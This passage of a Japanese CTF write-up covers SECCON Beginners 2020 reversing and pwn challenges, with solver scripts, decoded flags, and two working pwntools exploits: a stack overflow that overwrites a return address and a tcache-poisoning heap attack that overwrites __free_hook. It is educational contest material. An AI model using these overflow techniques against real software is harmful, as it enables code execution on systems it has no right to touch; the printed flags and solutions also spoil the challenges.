BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。

import base64
import codecs

def main():
    with open('encoded_flag', 'r') as f:
        encoded_FLAG = f.readline()
    print('encoded:', encoded_FLAG)
    FLAG = encoded_FLAG
    while True:
        t = FLAG
        if t[0] == 'B':
            # decode base64
            FLAG = base64.b64decode(t[1:]).decode('utf-8')
        elif t[0] == 'R':
            # rot13 rev
            FLAG = codecs.decode(t[1:], 'rot13')
        else:
            print(FLAG)
            break

main()

FLAG: ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask (62pt)

The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。

Usage: ./mask [FLAG]

IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。

f:id:amaga38:20200524145157j:plain
maskのFLAGチェック処理

  • FLAG文字列の各文字 AND 0x75 → atd4`qdedtUpetepqeUdaaeUeaqau
  • FLAG文字列の各文字 AND 0xEB → c`b bk`kj`KbababcaKbacaKiacki

0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。

# -*- coding: utf-8 -*-
s = 'atd4`qdedtUpetepqeUdaaeUeaqau'
s1 = 'c`b bk`kj`KbababcaKbacaKiacki'
ans = ''
for i,j in zip(s, s1):
    ans += chr(ord(i) | ord(j))

print(ans)
# 'ctf4b{dont_reverse_face_mask}'

FLAG: ctf4b{dont_reverse_face_mask}

yakisoba (156pt)

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。

f:id:amaga38:20200524161337j:plain

ソルバー

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 31
    pj = angr.Project('./yakisoba')
    input = claripy.BVS('input', 8*key_len)

    init_state = pj.factory.entry_state(args=['./yakisoba'])
    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)
    # main
    sm.explore(find=0x4006D2, avoid=[0x4006F7])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()

'''
$ python3 solve.py 
WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'
b'FLAG: '
'''

FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost (279pt)

A program written by a ghost 👻

ファイルの中身は、.gs拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル

chall.gs

/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline not { (I/O Error\n) print quit }
if 0 1 2 index length {
    1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
    } repeat (\n) print quit

output.txt

3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094 

スクリプトの正体はなにかなぁと調査。問題文のwritten by ghostを参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。

このあたりを参考に読み解き。

pythonに直すとこんな感じっぽい。

# -*- coding: utf-8 -*-
flag = ''
output = ''
flag = input('')
if not flag:
    print('I/O Error')
mul = 1
for idx in range(len(flag)):
    get_ord = ord(flag[i])
    tmp = get_ord ^ (idx + 1)
    tmp = tmp * mul
    s = 1
    for j in range(463):
        s *= tmp
        s %= 64711
    print(s)  # output
    s %= 128
    mul = s + 1

ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。

output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094'
output = list(map(int, output.split()))

ans = ''
mul = 1
for idx in range(len(output)):
    for p in range(0x20, 0x7f):
        get_ord = p
        tmp = get_ord ^ (idx + 1)
        tmp = tmp * mul

        s = 1
        for j in range(463):
            s *= tmp
            s %= 64711
        
        if s == output[idx]:
            print(idx, s, chr(p))
            ans += chr(p)

            s %= 128
            mul = s + 1
            break
print('FLAG:', ans)
# FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs (363pt)

Well, they look so similar... siblangs.apk

(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)

APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeappにValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。

f:id:amaga38:20200524163228j:plain

鍵も同じクラスに変数として定義されている。

private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");

コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.GCMParameterSpec;

public class Solve {
    //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    
    public static void main(String[] args) {
        SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        
        byte[] arrayOfByte = new byte[43];
        arrayOfByte[0] = 95;
        arrayOfByte[1] = -59;
        arrayOfByte[2] = -20;
        arrayOfByte[3] = -93;
        arrayOfByte[4] = -70;
        arrayOfByte[5] = 0;
        arrayOfByte[6] = -32;
        arrayOfByte[7] = -93;
        arrayOfByte[8] = -23;
        arrayOfByte[9] = 63;
        arrayOfByte[10] = -9;
        arrayOfByte[11] = 60;
        arrayOfByte[12] = 86;
        arrayOfByte[13] = 123;
        arrayOfByte[14] = -61;
        arrayOfByte[15] = -8;
        arrayOfByte[16] = 17;
        arrayOfByte[17] = -113;
        arrayOfByte[18] = -106;
        arrayOfByte[19] = 28;
        arrayOfByte[20] = 99;
        arrayOfByte[21] = -72;
        arrayOfByte[22] = -3;
        arrayOfByte[23] = 1;
        arrayOfByte[24] = -41;
        arrayOfByte[25] = -123;
        arrayOfByte[26] = 17;
        arrayOfByte[27] = 93;
        arrayOfByte[28] = -36;
        arrayOfByte[29] = 45;
        arrayOfByte[30] = 18;
        arrayOfByte[31] = 71;
        arrayOfByte[32] = 61;
        arrayOfByte[33] = 70;
        arrayOfByte[34] = -117;
        arrayOfByte[35] = -55;
        arrayOfByte[36] = 107;
        arrayOfByte[37] = -75;
        arrayOfByte[38] = -89;
        arrayOfByte[39] = 3;
        arrayOfByte[40] = 94;
        arrayOfByte[41] = -71;
        arrayOfByte[42] = 30;
        
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12);
            cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec);
            arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12);
            
            String s = new String(arrayOfByte);
            System.out.println(s);  // -> '1pt_3verywhere}'
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctfgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。

 grep -r ctf ./siblangs-d/
./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);

怪しい箇所の抜き出し

flagVal:"ctf4b{",
xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
t.handleFlagChange=function(o){
t.setState({flagVal:o})},
                        t.onPressValidateFirstHalf=function(){
                            if("ios"===h.Platform.OS){
                                for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;
                                    n<t.state.xored.length;n++)
                                        if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
                                        return void h.Alert.alert("Validation A Failed","Try again...");

flag文字列とAKeyForios10.3という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。

# coding: utf-8 -*-
flagVal = 'ctf4b{'
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
ios = 'AKeyForios10.3'

ans = ''
for i in range(len(flagVal), len(xored)):
    print(i)
    for f in range(0x20, 0x7e):
        t = f ^ ord(ios[i % len(ios)])
        if t == xored[i]:
            print(i, t, chr(f))
            ans += chr(f)
            break
print(flagVal + ans)
# ctf4b{ctf4b{jav4_and_j4va5cr

後半部分と合わせて完了。

FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Pwn

Beginner's Stack (134pt)

Let's learn how to abuse stack overflow!

nc bs.quals.beginners.seccon.jp 9001

Stack BoFしてwinという関数を呼び出したら勝ちらしい。

実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。

$ ./chall
Your goal is to call `win` function (located at 0x400861)
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffde30d9d38 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde30d9d40 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffde30d9d48 | 0x00007f0183db5190 |
                   +--------------------+
0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main)
                   +--------------------+
0x00007ffde30d9d70 | 0x00007f0183db3620 |
                   +--------------------+
0x00007ffde30d9d78 | 0x00007ffde30d9e58 |
                   +--------------------+
Input: 

いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。

f:id:amaga38:20200524164810j:plain

適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。

from pwn import *

srv = 'bs.quals.beginners.seccon.jp'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)
t = conn.recvuntil(b'Input:')
print(t)

buf = b'A' * 32
buf += b'\x00' * 8
buf += b'\xf0\x07\x40\x00' + b'\x00' * 4  # returnだけしてくる
buf += b'\x61\x08\x40\x00' + b'\x00' * 4  # winのアドレス

print(buf)
conn.sendline(buf)
print('sendline')
conn.interactive()
conn.close()

'''
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 
'''

FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (293pt)

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。

以下の操作でフラグが取れた。

    1. B = malloc
    1. free(B) // tcacheにつなげる
    1. read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
    1. B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
    1. read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
    1. free(B) // tcacheにつながらない。残りは __free_hookのアドレス
    1. B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
    1. B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*-

"""
$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f8ce802f8e8
 <win>: 0x555afa892465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 
"""
import sys
import re
import time
from pwn import *

def send_cmd(conn, cmd, buf=b''):
    print('Send Command:', cmd)
    time.sleep(1)
    conn.sendline(cmd)
    if cmd == b'1' or cmd == b'2':
        time.sleep(1)
        conn.sendline(buf)
    t = conn.recvuntil(b'> ')
    if cmd == b'4' or cmd == b'5':
        print(t.decode('utf-8'))


def main():
    srv = 'bs.quals.beginners.seccon.jp'
    port = 9002

    conn = remote(srv, port)
    t = conn.recvuntil(b'\n> ')
    print(t)

    # get address of __free_hook, win
    free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0]
    win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0]

    print('free_hook', free_hook_addr)
    print('win', win_addr)

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)

    # 3. free(B), B = NULL
    send_cmd(conn, b'3')

    # 1. read(0, A, 0x80)
    buf = b'A' * 0x18
    buf += b'\x21' + b'\x00' * 7
    buf += p64(int(free_hook_addr, 16))
    send_cmd(conn, b'1', buf)

    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)
    
    # 1. read(0, A, 0x80)
    # for free chunk B to not tcache area
    buf = b'A' * 0x18
    buf += b'\x01' + b'\x01' + b'\x00' * 6
    send_cmd(conn, b'1', buf)
    send_cmd(conn, b'4')
    # 3. free(B), B = NULL
    send_cmd(conn, b'3')
    
    # 2. B = malloc, read
    # overwrite __free_hook with win
    buf = p64(int(win_addr, 16))
    send_cmd(conn, b'2', buf)
    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', buf)
    #send_cmd(conn, b'3')

    conn.interactive()
    conn.close()

main()

'''
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
'''

FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

以上!